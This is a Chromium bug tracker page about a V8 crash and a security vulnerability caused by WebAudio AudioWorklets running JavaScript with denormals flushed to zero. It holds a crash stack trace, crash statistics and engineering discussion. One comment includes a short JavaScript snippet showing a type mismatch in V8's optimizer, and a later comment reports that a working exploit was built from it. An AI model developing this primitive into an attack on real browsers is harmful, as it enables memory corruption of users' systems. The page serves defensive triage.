WebAudio AudioWorklets run V8 with disabled denormalized floats

+1 3 | Hotlists (10) | Mark as Duplicate

Comments (99+) | Dependencies | Duplicates (0) | Blocking (0) | Resources (99+)

Fixed | Vulnerability | P1 | + | Stability-Crash | TE-CrashTriage | Security_Impact-Extended | Hotlist-prevention-filed

STATUS UPDATE No update yet.

DESCRIPTION cr...@google.com created issue on behalf of ol...@google.com #1 Dec 3, 2024 11:11AM

Sample Report

- **Report URL**: https://crash.corp.google.com/1e8a47c86bb36c7e (expires around 2025-04-02)
- **Product Name**: Chrome_Mac
- **Magic Signature**: `v8::internal::__RT_impl_Runtime_Abort`

Crash Links

- Reports from Same Channel/Version on Affected Plaftorms
- Reports from Same Channel, All Versions on Affected Platforms
- Reports from All Channels/Versions/Platforms

Exception Record

- **Exception Code**: 6
- **Flags**: 1
- **Exception Address**: 0x14ede8b58
- **Parameter 0**: 10
- **Parameter 1**: 90177537
- **Parameter 2**: 5618174808

Crashing thread: Thread Index: 27. Stack Quality: 75%. Thread ID: 5515625.

```
0x000000014ede8b58 (Google Chrome Framework - platform-posix.cc: 730)
v8::base::OS::Abort()::$_0::operator()() const
0x000000014ede8b58 (Google Chrome Framework - platform-posix.cc: 730)
v8::base::OS::Abort()
0x0000000147110af4 (Google Chrome Framework - runtime-test.cc: 1493)
v8::internal::__RT_impl_Runtime_Abort(v8::internal::Arguments<(v8::internal::A
rgumentsType)0>, v8::internal::Isolate*)
0x0000000147110af4 (Google Chrome Framework - runtime-test.cc: 1493)
v8::internal::__RT_impl_Runtime_Abort(v8::internal::Arguments<(v8::internal::A
rgumentsType)0>, v8::internal::Isolate*)
0x00000001471106e0 (Google Chrome Framework - runtime-test.cc: 1484)
v8::internal::Runtime_Abort(int, unsigned long*, v8::internal::Isolate*)
0x00000138c7d312ec
0x00000138c7d31358
0x00000138c7bda414
0x00000138c7bda050
0x00000001467a8318 (Google Chrome Framework - simulator.h: 191)
v8::internal::GeneratedCode<unsigned long, unsigned long, unsigned long,
unsigned long, unsigned long, long, unsigned long**>::Call(unsigned long,
unsigned long, unsigned long, unsigned long, long, unsigned long**)
0x00000001467a8318 (Google Chrome Framework - execution.cc: 436)
v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*,
v8::internal::(anonymous namespace)::InvokeParams const&)
0x00000001464956b4 (Google Chrome Framework - api.cc: 5607)
v8::Function::Call(v8::Isolate*, v8::Local<v8::Context>, v8::Local<v8::Value>,
int, v8::Local<v8::Value>*)
0x00000001464956b4 (Google Chrome Framework - api.cc: 5607)
v8::Function::Call(v8::Isolate*, v8::Local<v8::Context>, v8::Local<v8::Value>,
int, v8::Local<v8::Value>*)
0x0000000151c1d01c (Google Chrome Framework - v8_script_runner.cc: 887)
blink::V8ScriptRunner::CallFunction(v8::Local<v8::Function>,
blink::ExecutionContext*, v8::Local<v8::Value>, int, v8::Local<v8::Value>*,
v8::Isolate*)
0x0000000154e8181c (Google Chrome Framework -
v8_blink_audio_worklet_process_callback.cc: 68)
blink::V8BlinkAudioWorkletProcessCallback::Invoke(blink::bindings::V8ValueOrSc
riptWrappableAdapter, blink::ScriptValue const&, blink::ScriptValue const&,
```

Reporter	ol...@google.com
Type	Vulnerability
Priority	P1
Severity	S1
Status	Fixed
Story points	--
Access	Default access View
Expanded Access	
Assignee	mj...@google.com
Verifier	
Collaborators	se...@chromium.org
CC	ad...@google.com al...@google.com am...@chromium.org aw...@google.com cf...@google.com da...@google.com de...@google.com ed...@chromium.org fh...@google.com gu...@google.com hl...@google.com ho...@chromium.org ho...@google.com ho...@google.com hp...@chromium.org is...@chromium.org jk...@chromium.org le...@chromium.org mf...@google.com mj...@chromium.org mj...@google.com ni...@chromium.org ol...@google.com ol...@google.com pt...@chromium.org rs...@google.com sa...@chromium.org sr...@google.com ve...@chromium.org
Code Changes	6069992 | Chromium 6077677 | Chromium 6219685 | Chromium ... and 12 more (show all)
Pending Code Changes	6096785 | Chromium
Backlog-Rank	--
BuildNumber	--
Chromium Labels	Crash-ComponentAssigned CrashChannel-canary Crash-LikelyInactionable ... and 6 more (show all)
Component Tags	Blink>JavaScript>Runtime

```
blink::ScriptValue const&)
0x0000000154e94478 (Google Chrome Framework - audio_worklet_processor.cc: 156)
blink::AudioWorkletProcessor::Process(WTF::Vector<scoped_refptr<blink::AudioBu
s>, 0u, WTF::PartitionAllocator> const&,
WTF::Vector<scoped_refptr<blink::AudioBus>, 0u, WTF::PartitionAllocator>&,
WTF::HashMap<WTF::String, std::__Cr::unique_ptr<blink::AudioArray<float>,
std::__Cr::default_delete<blink::AudioArray<float>>>,
WTF::HashTraits<WTF::String>,
WTF::HashTraits<std::__Cr::unique_ptr<blink::AudioArray<float>,
std::__Cr::default_delete<blink::AudioArray<float>>>>,
WTF::PartitionAllocator> const&)
0x0000000154e94478 (Google Chrome Framework - audio_worklet_processor.cc: 156)
blink::AudioWorkletProcessor::Process(WTF::Vector<scoped_refptr<blink::AudioBu
s>, 0u, WTF::PartitionAllocator> const&,
WTF::Vector<scoped_refptr<blink::AudioBus>, 0u, WTF::PartitionAllocator>&,
WTF::HashMap<WTF::String, std::__Cr::unique_ptr<blink::AudioArray<float>,
std::__Cr::default_delete<blink::AudioArray<float>>>,
WTF::HashTraits<WTF::String>,
WTF::HashTraits<std::__Cr::unique_ptr<blink::AudioArray<float>,
std::__Cr::default_delete<blink::AudioArray<float>>>>,
WTF::PartitionAllocator> const&)
0x0000000154e7e0c0 (Google Chrome Framework - audio_worklet_handler.cc: 172)
blink::AudioWorkletHandler::Process(unsigned int)
0x0000000154eb7f94 (Google Chrome Framework - deferred_task_handler.cc: 198)
blink::DeferredTaskHandler::ProcessAutomaticPullNodes(unsigned int)
0x0000000154ef82a8 (Google Chrome Framework -
realtime_audio_destination_handler.cc: 262)
blink::RealtimeAudioDestinationHandler::Render(blink::AudioBus*, unsigned int,
blink::AudioIOPosition const&, blink::AudioCallbackMetric const&,
base::TimeDelta, media::AudioGlitchInfo const&)
0x0000000154ef4fe4 (Google Chrome Framework -
realtime_audio_destination_handler.cc)  non-virtual thunk to
blink::RealtimeAudioDestinationHandler::Render(blink::AudioBus*, unsigned int,
blink::AudioIOPosition const&, blink::AudioCallbackMetric const&,
base::TimeDelta, media::AudioGlitchInfo const&)
0x0000000154ef4fe4 (Google Chrome Framework - audio_destination.cc: 625)
blink::AudioDestination::PullFromCallback(blink::AudioBus*, base::TimeDelta)
0x0000000154ef4d10 (Google Chrome Framework - audio_destination.cc: 620)
blink::AudioDestination::ProvideResamplerInput(int, blink::AudioBus*)
0x0000000154ec9b14 (Google Chrome Framework - callback.h: 344)
base::RepeatingCallback<void (int, blink::AudioBus*)>::Run(int,
blink::AudioBus*) const &
0x0000000154ec9b14 (Google Chrome Framework - functional.h: 305)
WTF::CrossThreadFunction<void (int, blink::AudioBus*)>::Run(int,
blink::AudioBus*) const &
0x0000000154ec9b14 (Google Chrome Framework -
media_multi_channel_resampler.cc: 59)
blink::MediaMultiChannelResampler::ProvideResamplerInput(int,
media::AudioBus*)
0x00000001450eefac (Google Chrome Framework - callback.h: 344)
base::RepeatingCallback<void (signin::AccountsInCookieJarInfo const&,
GoogleServiceAuthError const&)>::Run(signin::AccountsInCookieJarInfo const&,
GoogleServiceAuthError const&) const &
0x00000001450eefac (Google Chrome Framework - callback.h: 344)
base::RepeatingCallback<void (signin::AccountsInCookieJarInfo const&,
GoogleServiceAuthError const&)>::Run(signin::AccountsInCookieJarInfo const&,
GoogleServiceAuthError const&) const &
0x0000000145329764 (Google Chrome Framework - sinc_resampler.cc: 348)
media::SincResampler::Resample(int, float*)
0x00000001453025a4 (Google Chrome Framework - multi_channel_resampler.cc: 82)
media::MultiChannelResampler::Resample(int, media::AudioBus*)
0x0000000154ef37e0 (Google Chrome Framework -
media_multi_channel_resampler.cc: 46)
blink::MediaMultiChannelResampler::ResampleInternal(int, media::AudioBus*)
0x0000000154ef37e0 (Google Chrome Framework - audio_destination.cc: 596)
blink::AudioDestination::RequestRender(unsigned long, unsigned long,
base::TimeDelta, base::TimeTicks, media::AudioGlitchInfo const&)
0x0000000154ef33d4 (Google Chrome Framework - audio_destination.cc: 523)
blink::AudioDestination::RequestRenderWait(unsigned long, unsigned long,
base::TimeDelta, base::TimeTicks, media::AudioGlitchInfo const&)
0x0000000154ef56bc (Google Chrome Framework - bind_internal.h: 738)     void
base::internal::DecayedFunctorTraits<void (blink::AudioDestination::*)
(unsigned long, unsigned long, base::TimeDelta, base::TimeTicks,
media::AudioGlitchInfo const&), scoped_refptr<blink::AudioDestination>&&,
unsigned int&&, unsigned int&&, base::TimeDelta&&, base::TimeTicks&&,
media::AudioGlitchInfo&&>::Invoke<void (blink::AudioDestination::*)(unsigned
long, unsigned long, base::TimeDelta, base::TimeTicks, media::AudioGlitchInfo
const&), scoped_refptr<blink::AudioDestination>, unsigned int, unsigned int,
```

	Blink>WebAudio
CVE	--
CWE ID	--
Design-Doc (Deprecated)	--
Design-TLDR-Summary (Deprecated)	--
EstimatedDays	--
Flaky-Test	--
Merge	Merged-13.4 Merged-134 Merged-6998
Merge-Request	--
Milestone	133
NextAction	--
Notice	--
OS	Mac
ReleaseBlock	NA
Respin	--
IRM Link	--
Security_Release	0-M134
vrp-reward	--
Fixed By Code Changes	https://chromium-review.googlesc
HW	--
Size	--
Found In	130
Targeted To	133
Verified In	M133 133.0.6878.0
In Prod	

Show 1 additional field

```
base::TimeDelta, base::TimeTicks, media::AudioGlitchInfo>(void
(blink::AudioDestination::*)(unsigned long, unsigned long, base::TimeDelta,
base::TimeTicks, media::AudioGlitchInfo const&),
scoped_refptr<blink::AudioDestination>&&, unsigned int&&, unsigned int&&,
base::TimeDelta&&, base::TimeTicks&&, media::AudioGlitchInfo&&)
0x0000000154ef56bc (Google Chrome Framework - bind_internal.h: 930)     void
base::internal::InvokeHelper<false, base::internal::FunctorTraits<void
(blink::AudioDestination::*&&)(unsigned long, unsigned long, base::TimeDelta,
base::TimeTicks, media::AudioGlitchInfo const&),
scoped_refptr<blink::AudioDestination>&&, unsigned int&&, unsigned int&&,
base::TimeDelta&&, base::TimeTicks&&, media::AudioGlitchInfo&&>, void, 0ul,
1ul, 2ul, 3ul, 4ul, 5ul>::MakeItSo<void (blink::AudioDestination::*)(unsigned
long, unsigned long, base::TimeDelta, base::TimeTicks, media::AudioGlitchInfo
const&), std::__Cr::tuple<scoped_refptr<blink::AudioDestination>, unsigned
int, unsigned int, base::TimeDelta, base::TimeTicks, media::AudioGlitchInfo>>
(void (blink::AudioDestination::*&&)(unsigned long, unsigned long,
base::TimeDelta, base::TimeTicks, media::AudioGlitchInfo const&),
std::__Cr::tuple<scoped_refptr<blink::AudioDestination>, unsigned int,
unsigned int, base::TimeDelta, base::TimeTicks, media::AudioGlitchInfo>&&)
0x0000000154ef56bc (Google Chrome Framework - bind_internal.h: 1067)    void
base::internal::Invoker<base::internal::FunctorTraits<void
(blink::AudioDestination::*&&)(unsigned long, unsigned long, base::TimeDelta,
base::TimeTicks, media::AudioGlitchInfo const&),
scoped_refptr<blink::AudioDestination>&&, unsigned int&&, unsigned int&&,
base::TimeDelta&&, base::TimeTicks&&, media::AudioGlitchInfo&&>,
base::internal::BindState<true, true, false, void (blink::AudioDestination::*)
(unsigned long, unsigned long, base::TimeDelta, base::TimeTicks,
media::AudioGlitchInfo const&), scoped_refptr<blink::AudioDestination>,
unsigned int, unsigned int, base::TimeDelta, base::TimeTicks,
media::AudioGlitchInfo>, void ()>::RunImpl<void (blink::AudioDestination::*)
(unsigned long, unsigned long, base::TimeDelta, base::TimeTicks,
media::AudioGlitchInfo const&),
std::__Cr::tuple<scoped_refptr<blink::AudioDestination>, unsigned int,
unsigned int, base::TimeDelta, base::TimeTicks, media::AudioGlitchInfo>, 0ul,
1ul, 2ul, 3ul, 4ul, 5ul>(void (blink::AudioDestination::*&&)(unsigned long,
unsigned long, base::TimeDelta, base::TimeTicks, media::AudioGlitchInfo
const&), std::__Cr::tuple<scoped_refptr<blink::AudioDestination>, unsigned
int, unsigned int, base::TimeDelta, base::TimeTicks,
media::AudioGlitchInfo>&&, std::__Cr::integer_sequence<unsigned long, 0ul,
1ul, 2ul, 3ul, 4ul, 5ul>)
0x0000000154ef56bc (Google Chrome Framework - bind_internal.h: 980)
base::internal::Invoker<base::internal::FunctorTraits<void
(blink::AudioDestination::*&&)(unsigned long, unsigned long, base::TimeDelta,
base::TimeTicks, media::AudioGlitchInfo const&),
scoped_refptr<blink::AudioDestination>&&, unsigned int&&, unsigned int&&,
base::TimeDelta&&, base::TimeTicks&&, media::AudioGlitchInfo&&>,
base::internal::BindState<true, true, false, void (blink::AudioDestination::*)
(unsigned long, unsigned long, base::TimeDelta, base::TimeTicks,
media::AudioGlitchInfo const&), scoped_refptr<blink::AudioDestination>,
unsigned int, unsigned int, base::TimeDelta, base::TimeTicks,
media::AudioGlitchInfo>, void ()>::RunOnce(base::internal::BindStateBase*)
0x000000014c5d506c (Google Chrome Framework - callback.h: 156)
base::OnceCallback<void ()>::Run() &&
0x000000014c5d506c (Google Chrome Framework - task_annotator.cc: 208)
base::TaskAnnotator::RunTaskImpl(base::PendingTask&)
0x000000014c61f5b0 (Google Chrome Framework - task_annotator.h: 106)    void
base::TaskAnnotator::RunTask<base::sequence_manager::internal::ThreadControlle
rWithMessagePumpImpl::DoWorkImpl(base::LazyNow*)::$_3>(perfetto::StaticString,
base::PendingTask&,
base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkI
mpl(base::LazyNow*)::$_3&&)
0x000000014c61f5b0 (Google Chrome Framework -
thread_controller_with_message_pump_impl.cc: 471)
base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkI
mpl(base::LazyNow*)
0x000000014c61f5b0 (Google Chrome Framework -
thread_controller_with_message_pump_impl.cc: 332)
base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork(
)
0x000000014c568190 (Google Chrome Framework -
thread_controller_with_message_pump_impl.cc)    non-virtual thunk to
base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork(
)
0x000000014c568190 (Google Chrome Framework - message_pump_default.cc: 40)
base::MessagePumpDefault::Run(base::MessagePump::Delegate*)
0x000000014c568190 (Google Chrome Framework -
thread_controller_with_message_pump_impl.cc)    non-virtual thunk to
base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork(
```

```
)
0x000000014c568190 (Google Chrome Framework - message_pump_default.cc: 40)
base::MessagePumpDefault::Run(base::MessagePump::Delegate*)
0x000000014c6212b8 (Google Chrome Framework -
thread_controller_with_message_pump_impl.cc: 641)
base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(boo
l, base::TimeDelta)
0x000000014ac11698 (Google Chrome Framework - non_main_thread_impl.cc: 188)
blink::scheduler::NonMainThreadImpl::SimpleThreadImpl::Run()
0x000000014c67ae20 (Google Chrome Framework - platform_thread_posix.cc: 101)
base::(anonymous namespace)::ThreadFunc(void*)
0x000000019a24f2e0 (libsystem_pthread.dylib + 0x000072e0)       _pthread_start
0x000000019a24f2e0 (libsystem_pthread.dylib + 0x000072e0)       _pthread_start
```

COMMENTS

All comments ▾ | ↓ Oldest first

ol...@google.com <ol...@google.com> #2 — Dec 3, 2024 11:13AM

The problem here seems to be that `context->GetDeferredTaskHandler().ProcessAutomaticPullNodes(number_of_frames);` here (and also other places like `context->HandlePreRenderTasks(number_of_frames, &output_position, &metric,` call back into V8, which then triggers this assertion in native code.

---

cr...@google.com <cr...@google.com> #3 — Dec 3, 2024 10:53PM

Crash service noticed a regression in the below signature, which is likely related to this bug (http://go/crash-bugfiler-faq).

Magic Signature: `v8::internal::__RT_impl_Runtime_Abort`

Channel: canary

Affected Platforms: Chrome_Mac

Observations

- Increased crashiness of the named signature was observed in product **Chrome_Mac** for channel **canary** somewhere between versions **133.0.6871.1** and **133.0.6873.1**.
- There's a statistically significant (7.03e-03 p-value) increase in the proportion of crashing clients. Crashing clients per million (CCPM) in product **Chrome_Mac** reached 2937 in version 133.0.6872.0. The average CCPM in recent versions was 306.
- Crashes per million page loads (CPM) in product **Chrome_Mac** reached 15.87 in version 133.0.6872.0. The average CPM in recent versions was 0.22.
- Signature is #1 in renderer crashes when ranked by crashing clients.
- Observed counts: 16 crashes, 10 crashing clients, 1.01M page loads.
- Tests detecting regression: FisherCcp, CpmSpike

Issue Severity

The issue was determined to have the potential to cause Medium or higher Severity Incident, and therefore is classified as **stable blocker** on **Chrome_Mac**. What we considered:

- The reports are severity level **ERROR**. (go/chrome-crash-severity)
- CCPM increased by 2630.77 (threshold is 500), which represents 0.263077% of the population.
- There were ~10 crashing clients (threshold is 7).

Please consult the documentation on blocker management before removing release-block labels.

Crash Links

- Reports from Same Channel/Version on Affected Plaftorms
- Reports from Same Channel, All Versions on Affected Platforms
- Reports from All Channels/Versions/Platforms

---

pi...@arm.com <pi...@arm.com> #4 — Dec 4, 2024 12:09PM

Hi there, I just noticed this via the CL that disables the check. I though I'd point out this looks related to this known issue https://issues.chromium.org/issues/40895092 if you weren't aware already.

IIRC, we have a scope that changes the floating point behaviour using `DisableDenormals` (https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/platform/audio/denormal_disabler.h;l=103;drc=5108636c70c0b08fdbeb57de2640a22e138f6685). However, this is not compatible with executing JS, as it will flush denormals to zero (as an example, `Number.MIN_VALUE` will return 0 rather than `5e-324`).

---

ol...@google.com <ol...@google.com> #5

Dec 4, 2024 12:14PM

Yes, this is exactly the same issue. So we need to find out if webaudio actually wants to change JS semantics (then we'd need an api to allow that) or if webaudio could reset the fpcr state before calling into V8.

---

ap...@google.com <ap...@google.com> #6 Dec 4, 2024 01:38PM

Project: v8/v8
Branch: main
Author: Olivier Flückiger <olivf@chromium.org>
Link: https://chromium-review.googlesource.com/6069992

[arm64] Suppress fcpr check in debug_code

▶ Expand for full commit details

---

rs...@google.com <rs...@google.com> #7 Dec 4, 2024 01:54PM

Assigned to gd...@google.com.

1.Rank of Magic signature [per process type]
Top #3 (Inactionable) Renderer process crash on Mac Canary Dcheck #133.0.6875.1

2. No. of crashes & No. of unique clients
1 instance from 1 client on Mac Canary Dcheck #133.0.6875.1

3. Current CPM & Historic CPM if needed
Current CPM is @131.804 on Mac Canary Dcheck #133.0.6875.1
Hist CPM = 224.3042

4. Crash data on Canary dcheck showing spike or regression
133.0.6875.1 3.13% 1
133.0.6874.1 6.25% 2
133.0.6873.1 15.63% 5
133.0.6872.1 34.38% 11
133.0.6871.1 6.25% 2
133.0.6870.1 25.00% 8
133.0.6869.1 6.25% 2
133.0.6868.1 3.13% 1
Total: 100.00% 32

5. Crash Link [showing all the builds on which this crash is seen]
https://crash.corp.google.com/browse?q=product_name%3D%27Chrome_Mac%27+AND+expanded_custom_data.ChromeCrashProto.magic_signature_1.name%3D%27v8%3A%3Ainternal%3A%3A__RT_impl_Runtime_Abort%27#+samplereports:25,-productname:1000,productversion:200,chromemilestone:80,processtype:100,magicsignature:50,magicsignature2:50,stablesignature:50,-operatingsystem,-cpuarchitecture,-url,-simplifiedurl,-extensions

6. CRASH ANAMOLY [device specific, CPU Info, GPU info & Country Specific] --> only if needed & applicable.]
1 arm64 100.00% 32
Total: 100.00% 32

Changelog:
https://chromium.googlesource.com/chromium/src/+log/133.0.6871.1..133.0.6873.1/?pretty=fuller&n=100

Looping in V8 sheriff

Hi dev @gd...@google.com,
I think your change is causing this crash hence could you please address this issue or help us with assigning the right owner

thanks

Message last modified on Dec 4, 2024 02:48PM

---

rs...@google.com <rs...@google.com> #8 Dec 4, 2024 01:56PM

JFYI : Fix was landed just before I provided the crash info

thanks

Message last modified on Dec 4, 2024 01:58PM

---

ol...@google.com <ol...@google.com> #9 Dec 4, 2024 02:04PM

Reassigned to mj...@google.com.

Yeah, the root cause here is DisableDenormals by webaudio and it was uncovered by https://chromium-review.googlesource.com/c/v8/v8/+/6055119. Fixing assignment.

Btw. if you find crashes with `v8::internal::__RT_impl_Runtime_Abort` where `blink::V8BlinkAudioWorkletProcessCallback` is *not* on the stack, then these would be different bugs. These could be assigned to me.

---

le...@chromium.org <le...@chromium.org> #10 Dec 4, 2024 04:57PM

This is potentially a security vulnerability -- we can cause a mismatch between the inferred type of an SSA node and its runtime value by doing optimization outside of the DisableDenormals mode, but executing the optimized code inside of it. I can get such a mismatch with the code

```
function foo(x) {
  x = x|0;
  let y = Math.min(Math.abs(x) + 1,  5E-324);
  let b = y > 0;
  return b;
}

%PrepareFunctionForOptimization(foo);
print(foo(0.0));
%OptimizeFunctionOnNextCall(foo);
print(foo(0.0));
%AvoidDenormals();
print(foo(0.0));
```

Here, the `Float64LessThan` node for `b` is inferred by the typer to be `true`, but after entering DisableDenormals mode with `%AvoidDenormals()`, the runtime value is `false`. Mismatches like this have been used in exploits in the past, e.g. https://project-zero.issues.chromium.org/issues/42450781 (see write-up in https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/).

---

mj...@google.com <mj...@google.com> #11 Dec 4, 2024 08:58PM

Reassigned to le...@chromium.org.

See also: https://crbug.com/40268415

Yes, we need flush-to-zero when calling into V8.

I will try to clarify WebAudio's requirements.

First, why we want to flush denormals to zero:

- WebAudio is a soft-realtime audio system, which means it has a strict time budget to perform a periodic callback.
- It is common in audio processing to have exponential decays, which result in numbers very close to zero.
- On many platforms denormal processing is extremely slow and will cause the system to exceed the time budget.
- Because of the above, it's standard practice to flush denormal numbers to zero in realtime audio systems.

Second, why this is causing a conflict:

- JavaScript requires handling denormals as denormals, not flushing them to zero.
- WebAudio includes the AudioWorklet interface (https://webaudio.github.io/web-audio-api/#AudioWorklet), which allows developers to write custom JavaScript processing nodes and run them in the WebAudio graph.
- If we have strict compliance with denormal behavior then AudioWorklet performance will significantly degrade, to the point where practically speaking it is no longer usable.
- Several important partners are already relying on AudioWorklet, so we can't afford this level of performance degradation.

For the potential security issue, can we enable DisableDenormals mode when optimizing AudioWorklet JavaScript? Would that solve the issue?

Message last modified on Dec 4, 2024 09:48PM

---

le...@chromium.org <le...@chromium.org> #12 Dec 5, 2024 10:58AM

Reassigned to mj...@google.com.

> If we have strict compliance with denormal behavior then AudioWorklet performance will significantly degrade, to the point where practically speaking it is no longer usable.

It would be informative here to concretize WebAudio's requirements with an estimated magnitude of impact; what sort of magnitude of performance regression are we talking about here? I believe you that it's a deal-breaker, but there could be other concerns here than just FPU mode, e.g. we might have to disable optimising compilers on 32-bit architectures for other security reasons, in which case JS AudioWorklet performance might regress far more than due to float denormalisation.

> For the potential security issue, can we enable DisableDenormals mode when optimizing AudioWorklet JavaScript? Would that solve the issue?

Good question, I'm not 100% sure and it's hard to reason about. It does solve the issue for the example code I provided above, but maybe I'm not creative enough to break it. There would be some other complications:

1. We'd then need to keep DisableDenormals disabled permanently for the AudioWorklet thread, so that we don't have the same problem in the opposite direction (I assume you'd have no complaints about this).
2. The optimizing compilers run in threadpool background threads, so we'd have to wire in the CPU mode to those compilations (making this a non-trivial propagation of the state) without affecting other JS threads' optimized code.
3. I believe Wasm code can be shared between threads, and might have similar security issues, so we'd need to somehow isolate the AudioWorklet's potential for running Wasm code.

Long-term it would also be valuable to actually spec this behaviour difference of AudioWorklet JS and normal JS, and compare with what other browsers do.

---

mj...@google.com <mj...@google.com> #13 Dec 5, 2024 06:48PM

> what sort of magnitude of performance regression are we talking about here?

I haven't quantified this for Chromium specifically, but in my past audio software experience once denormals enter there is about a 2000% performance degradation. This does depend somewhat on the specific application and platform.

> compare with what other browsers do

At least Firefox also disables denormals in this case.

---

mj...@google.com <mj...@google.com> #14 Dec 5, 2024 10:27PM

> We'd then need to keep DisableDenormals disabled permanently for the AudioWorklet thread, so that we don't have the same problem in the opposite direction (I assume you'd have no complaints about this).

As long as the thread is just running WebAudio-related tasks it should be fine.

Does it have to be a property of the thread? Would it be possible to compile the AudioWorklet task in a way that it sets the flush to zero flag before executing the rest of the body, and resets the flag after execution is done instead? I'm not sure how the compiler works so maybe this question doesn't make sense -- are we talking about compiling to machine code or to something else?

> The optimizing compilers run in threadpool background threads, so we'd have to wire in the CPU mode to those compilations (making this a non-trivial propagation of the state) without affecting other JS threads' optimized code.

That does sound like a lot of work.

> I believe Wasm code can be shared between threads, and might have similar security issues, so we'd need to somehow isolate the AudioWorklet's potential for running Wasm code.

Wasm in AudioWorklet is a common use case, what are the implications of this isolation?

> Long-term it would also be valuable to actually spec this behaviour difference of AudioWorklet JS and normal JS.

I think the Web (W3C) specs will consider this an implementation detail. Are you talking about making a Chromium design document?

---

rs...@google.com <rs...@google.com> #15 Dec 6, 2024 08:36AM

No crash observed on Mac Canary after #133.0.6877.1

Where fix was landed on Mac Canary #133.0.6878.0

Based on
Commit Link: https://chromium-review.googlesource.com/6069992 from comment #6
Commit ID: 426ae8a7eb600e482926ba26398aaff887ae326c
Commit Land Link: https://chromiumdash.appspot.com/commits?commit=426ae8a7eb600e482926ba26398aaff887ae326c&platform=Mac

Link to Builds:
https://crash.corp.google.com/browse?q=product_name%3D%27Chrome_Mac%27+AND+expanded_custom_data.ChromeCrashProto.magic_signature_1.name%3D%27v8::internal::__RT_impl_Runtime_Abort%27+AND+expanded_custom_data.ChromeCrashProto.channel%3D%27canary%27#-property-selector,-samplereports,+productversion:200,-

processtype:100,-clientid,+operatingsystem,+url,+simplifiedurl,+extensions,+day:60

Thanks

ol...@google.com <ol...@google.com> #16 Dec 6, 2024 11:08AM

> I haven't quantified this for Chromium specifically, but in my past audio software experience once denormals enter there is about a 2000% performance degradation. This does depend somewhat on the specific application and platform.

Since we believe this to be a security issue, the most sensible immediate course of action is to ensure the fpcr state is as expected whenever javascript code is running. To justify a riskier mitigation we need stronger evidence and an estimate of what would break under such a fix.

> Does it have to be a property of the thread? Would it be possible to compile the AudioWorklet task in a way that it sets the flush to zero flag before executing the rest of the body, and resets the flag after execution is done instead? [...]

Unfortunately not. The compilers in question are the JIT compilers of V8. They depend on float semantics in the following ways: At JS compile time (which is concurrent to JS execution), they use float operations for e.g., constant folding or range analysis. These float operations happen in V8 C++ code in a background thread (outside of the DisableDenormals scope). Then, that natively compiled JS code is installed on the main thread. The implicit assumptions here are that (a) float instructions emitted behave the same at runtime as at compile time, and as exposed by the crashes we (b) check that flush to zero is set. To fix (a) we would need to ensure that we use the same fpcr state at compile time as at execution time (i.e., let V8's webaudio compiler threads operate under a DisableDenormals scope). Regarding (b), we need to convince ourselves that we do not rely on that assumption now and in the future. E.g., this means at least adding a cli flag that disables flush to zero and ensure our fuzzers cover it.

> Wasm in AudioWorklet is a common use case, what are the implications of this isolation?

Wasm code is shared even more widely than JS code (others might know more @jkummerow). The point here is that this isolation would first have to be built. As is, wasm compilation is affected by the same issues as JS compilation.

> I think the Web (W3C) specs will consider this an implementation detail. [...]

Maybe not W3C, but the Ecma262 standard for JS does define how numbers behave (https://tc39.es/ecma262/#sec-terms-and-definitions-number-value). If webaudio changes the fpcr state, it is effectively operating under a modified JS semantics, which does not conform to the standard.

mj...@google.com <mj...@google.com> #17 Dec 6, 2024 11:32PM

> Since we believe this to be a security issue, the most sensible immediate course of action is to ensure the fpcr state is as expected whenever javascript code is running. To justify a riskier mitigation we need stronger evidence and an estimate of what would break under such a fix.

Just to make sure we all have the same understanding of the current state:

- We don't have any evidence of an actual working exploit yet
  - If we do please make that *very clear* because I think it changes how we should approach this issue
- We have working code that shows a difference (comment#10), which we think is probably exploitable
- DenormalDisabler has been in the codebase since 2011, and AudioWorklet since 2016
- No other browser on wpt.fyi currently passes the denormal in AudioWorklet test: https://wpt.fyi/results/webaudio/the-audio-api/the-audioworklet-interface/audioworklet-denormals.https.window.html?label=experimental&label=master&aligned
- Zoom uses AudioWorklet and will be impacted by this change
- Some paid online music production studios and other audio-related software are entirely built on AudioWorklet and may become unusable in Chromium after this change
- This is not a new issue, it was discussed at least 10 years ago for instance here: https://esdiscuss.org/topic/float-denormal-issue-in-javascript-processor-node-in-web-audio-api

I would like to start by implementing enabling denormals for AudioWorklet behind a flag guard so we can check if it actually solves the issue and also quantify the specific performance regressions. Then we can make a more informed decision.

> the Ecma262 standard for JS does define how numbers behave

Would it be worthwhile to bring this up there? I feel like it would be difficult to change this now, but if there is a chance we should probably start soon since it would likely take a while. It seems like the old discussion I linked above never resolved.

le...@chromium.org <le...@chromium.org> #18 Dec 9, 2024 11:13AM

> - We don't have any evidence of an actual working exploit yet

> - If we do please make that very clear because I think it changes how we should approach this issue

We have a working exploit (OOB access in the V8 heap), our security folks put one together based on the example I posted above (and they're cleaning it up to post it here). In general, we find that correctness issues like this are pretty much always exploitable with a bit of effort (not even that much effort normally, just gluing together a few gadgets), so we treat correctness issues as security issues until they are proven not to be, rather than the other way around.

> - Zoom uses AudioWorklet and will be impacted by this change
> - Some paid online music production studios and other audio-related software are entirely built on AudioWorklet and may become unusable in Chromium after this change

I absolutely hear your concerns, truly, and I'm sorry if it sounds like we're minimising them. I've personally often been on the performance side of the performance vs. security tug-of-war, and we evaluate various security mitigations based not only on their security impact, but also their performance impact. If denormals truly are an unacceptable performance regression for important cases like those listed above, then we'll figure something out together (perhaps with more effort and more isolation).

> - DenormalDisabler has been in the codebase since 2011, and AudioWorklet since 2016
> - This is not a new issue, it was discussed at least 10 years ago for instance here: https://esdiscuss.org/topic/float-denormal-issue-in-javascript-processor-node-in-web-audio-api
>
> I would like to start by implementing enabling denormals for AudioWorklet behind a flag guard so we can check if it actually solves the issue and also quantify the specific performance regressions. Then we can make a more informed decision.

Quantifying the specific performance regressions sounds great -- the bigger question is around what the default should be for users while we figure this out. We've shipped big performance regressions in the past to short-term mitigate security issues while we work on a better solution, though admittedly I don't think we've had to ship a 2000% regression. I think that's a decision that needs an escalation.

